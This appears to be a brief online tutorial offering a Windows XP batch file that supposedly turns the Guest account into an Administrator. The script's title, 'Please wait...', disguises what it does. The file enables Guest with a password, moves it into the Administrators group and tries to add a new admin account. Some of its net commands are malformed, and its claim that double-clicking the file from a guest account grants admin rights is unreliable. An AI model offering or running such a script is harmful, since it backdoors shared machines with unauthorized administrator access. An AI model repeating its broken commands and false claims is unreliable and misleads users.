Here are the simple steps. Just follow them:
1. Open Notepad and copy paste the following commands. Alternatively, you can write it in notepad.
title Please wait...
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
2. Save it as “something.bat” say admin.bat.
3. You are done. Double click on this batch file. WOW! Your guest account is converted to Administrator.
NOTE: This trick works only in Windows XP. If it doesn’t , then please notify me as comment.